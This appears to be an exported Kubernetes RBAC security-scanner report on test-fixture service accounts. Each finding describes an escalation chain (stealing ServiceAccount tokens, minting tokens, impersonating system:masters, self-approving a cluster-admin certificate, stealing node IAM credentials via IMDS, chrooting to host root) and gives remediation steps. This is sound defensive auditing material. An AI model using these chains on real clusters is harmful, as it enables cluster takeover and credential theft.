  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-fixtures/sa-impersonate
  2. Step 2 of 2 Impersonation of system:masters impersonate_system_masters

    The impersonate verb on groups: ["*"] (or explicitly on system:masters) lets the holder send requests as the hard-coded system:masters group. The kube-apiserver short-circuits authorization for that group, so every API call succeeds regardless of RBAC.

    This is the worst-case impersonation grant: it bypasses the cluster's entire RBAC layer rather than borrowing another principal's permissions.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate groups
    Gives the attacker can impersonate the system:masters group, bypassing all RBAC
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the impersonate groups capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-impersonate/).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the impersonate groups capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-impersonate/).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/rbac-fixtures/sa-token-create Cluster 9.1
ServiceAccount/rbac-fixtures/sa-token-create can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-createsystem:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-impersonate via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount rbac-fixtures/sa-impersonate
2. ServiceAccount/rbac-fixtures/sa-impersonate/ via impersonate_system_masters (impersonate groups): can impersonate the system:masters group, bypassing all RBAC

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/rbac-fixtures/sa-token-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-token-create, the attacker calls the serviceaccounts/token subresource (create serviceaccounts/token) to mint a fresh, valid token for ServiceAccount/rbac-fixtures/sa-impersonate. No pod creation required, and a thinner audit trail than the pod-mount route.
  3. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker impersonates the system:masters group (impersonate groups). The kube-apiserver hard-codes that group as authorized for every operation regardless of RBAC. A single such grant collapses the entire authorization layer.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount rbac-fixtures/sa-impersonate
  2. Step 2 of 2 Impersonation of system:masters impersonate_system_masters

    The impersonate verb on groups: ["*"] (or explicitly on system:masters) lets the holder send requests as the hard-coded system:masters group. The kube-apiserver short-circuits authorization for that group, so every API call succeeds regardless of RBAC.

    This is the worst-case impersonation grant: it bypasses the cluster's entire RBAC layer rather than borrowing another principal's permissions.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate groups
    Gives the attacker can impersonate the system:masters group, bypassing all RBAC
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the impersonate groups capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-impersonate/).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the impersonate groups capability that enables hop 2 (ServiceAccount/rbac-fixtures/sa-impersonate/).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL ServiceAccount/vulnerable/privileged-reader Cluster 9.1
ServiceAccount/vulnerable/privileged-reader can impersonate `system:masters` in 2 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/vulnerable/privileged-readersystem:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (2 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/vulnerable/privileged-readerServiceAccount/csr-fixtures/sa-csr-mint via pod_create_token_theft (create pods): can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint
2. ServiceAccount/csr-fixtures/sa-csr-mint/ via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker creates a pod that mounts the ServiceAccount/csr-fixtures/sa-csr-mint ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest carrying O=system:masters in its Subject DN and self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The cluster CA signs the cert, and the attacker authenticates with it as system:masters, which the apiserver hard-codes as cluster-admin. The cert persists after the RBAC grant is revoked; only a CA rotation invalidates it.
  4. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-readerServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval to system:masters csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

    This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-readerServiceAccount/csr-fixtures/sa-csr-mint).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the create pods capability that enables hop 1 (ServiceAccount/vulnerable/privileged-readerServiceAccount/csr-fixtures/sa-csr-mint).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Cluster 8.6
ServiceAccount/privesc-fixtures/sa-pod-create-escape can impersonate `system:masters` in 3 hop(s), bypassing all RBAC
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-create-escapesystem:masters: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape can chain into the ability to impersonate the system:masters group. system:masters is special: the kube-apiserver hard-codes it as authorized for *every* operation regardless of RBAC. There is no Role or ClusterRole that grants system:masters reach. It is a pre-RBAC carve-out for kubeadm control-plane operators (cert-based auth with O=system:masters skips authorization entirely).

The chain (3 hop(s); each step is an RBAC verb the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral via pod_create_token_theft (create pods): can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
2. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/csr-fixtures/sa-csr-mint via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint
3. ServiceAccount/csr-fixtures/sa-csr-mint/ via csr_approve (create certificatesigningrequests + update certificatesigningrequests/approval): can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert

Impersonation of system:masters is the rarest but most severe finding type. Most clusters do not give workload SAs impersonate users/groups because system:masters is the pathological consequence: a single impersonate grant on a workload SA is the entire chain. CIS Kubernetes 5.1.4 and the RBAC good-practices guide explicitly call out impersonation grants for review.

Impact Impersonating system:masters bypasses every RBAC check the cluster ever had. Every API call succeeds. Audit logs are written but the actor field shows the impersonated principal; attribution requires reading the impersonate audit annotation.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload bound to ServiceAccount/privesc-fixtures/sa-pod-create-escape.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-create-escape, the attacker creates a pod that mounts the ServiceAccount/privesc-fixtures/sa-ephemeral ServiceAccount and then reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside the container. The pod becomes a token-theft primitive: any ServiceAccount the attacker can mount, they can lift.
  3. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/csr-fixtures/sa-csr-mint via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint.
  4. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker submits a CertificateSigningRequest carrying O=system:masters in its Subject DN and self-approves it via the certificatesigningrequests/approval subresource (create certificatesigningrequests + update certificatesigningrequests/approval). The cluster CA signs the cert, and the attacker authenticates with it as system:masters, which the apiserver hard-codes as cluster-admin. The cert persists after the RBAC grant is revoked; only a CA rotation invalidates it.
  5. Final step: attacker can impersonate group system:masters. The kube-apiserver short-circuits authorization for system:masters via the static token / certificate path, bypassing every RBAC check. They are now indistinguishable from a kubeadm control-plane operator.
  1. Step 1 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint
  3. Step 3 of 3 CSR self-approval to system:masters csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

    This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert
Remediation
Remove every impersonate grant on a path to system:masters. Concretely: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral).
  1. List subjects with impersonate: kubectl get rolebindings,clusterrolebindings -A -o json | jq '.items[] | select(.subjects[]? | .kind == "User" or .kind == "Group" or .kind == "ServiceAccount") | .metadata.name + " → " + (.roleRef.name)' then check each role's rules for impersonate.
  2. Almost no production workload genuinely needs impersonate users/groups. Kubectl plugins/dashboards that *do* need it should use kubectl --as=... from a human admin's session, not a workload SA.
  3. Break the chain: remove the create pods capability that enables hop 1 (ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral).
  4. For kubectl-as-a-service workloads, scope the impersonation with resourceNames: [<allowed-user>] to a fixed allowlist of principals; *never* users: [*] or groups: [*].
  5. Wire admission policy: a Kyverno rule that fails any RoleBinding granting impersonate to a non-system subject without an explicit resourceNames carve-out.
CRITICAL

Subjects can reach node escape (host root) in 1 hop(s)

KUBE-PRIVESC-PATH-NODE-ESCAPE 26 subjects Score 9.4–8.9

Affected subjects (26)

CRITICAL ServiceAccount/cloud-eks-test/default Cluster 9.4
ServiceAccount/cloud-eks-test/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/cloud-eks-test/defaultnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/cloud-eks-test/default

Subject ServiceAccount/cloud-eks-test/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/cloud-eks-test/default/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-f4lh7 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/cloud-eks-test/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/cloud-eks-test/default.
  2. Acting as ServiceAccount/cloud-eks-test/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-f4lh7 falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-f4lh7 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/cloud-eks-test/default/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/cloud-eks-test/default/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/containersec-fixtures/default Cluster 9.4
ServiceAccount/containersec-fixtures/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/containersec-fixtures/defaultnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/containersec-fixtures/default

Subject ServiceAccount/containersec-fixtures/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/containersec-fixtures/default/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod containersec-fixtures/containersec-image-64d6ddbdbd-ntm8n falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/containersec-fixtures/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/containersec-fixtures/default.
  2. Acting as ServiceAccount/containersec-fixtures/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod containersec-fixtures/containersec-image-64d6ddbdbd-ntm8n falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/containersec-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod containersec-fixtures/containersec-image-64d6ddbdbd-ntm8n falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/containersec-fixtures/default/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/containersec-fixtures/default/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/csr-fixtures/sa-csr-mint Cluster 9.4
ServiceAccount/csr-fixtures/sa-csr-mint can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/csr-fixtures/sa-csr-mintnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/csr-fixtures/sa-csr-mint

Subject ServiceAccount/csr-fixtures/sa-csr-mint has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/csr-fixtures/sa-csr-mint/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod csr-fixtures/csr-mint-app-7b46f9dc-phqlc falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/csr-fixtures/sa-csr-mint yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/csr-fixtures/sa-csr-mint.
  2. Acting as ServiceAccount/csr-fixtures/sa-csr-mint, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod csr-fixtures/csr-mint-app-7b46f9dc-phqlc falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod csr-fixtures/csr-mint-app-7b46f9dc-phqlc falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-mint/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/csr-fixtures/sa-csr-mint/).
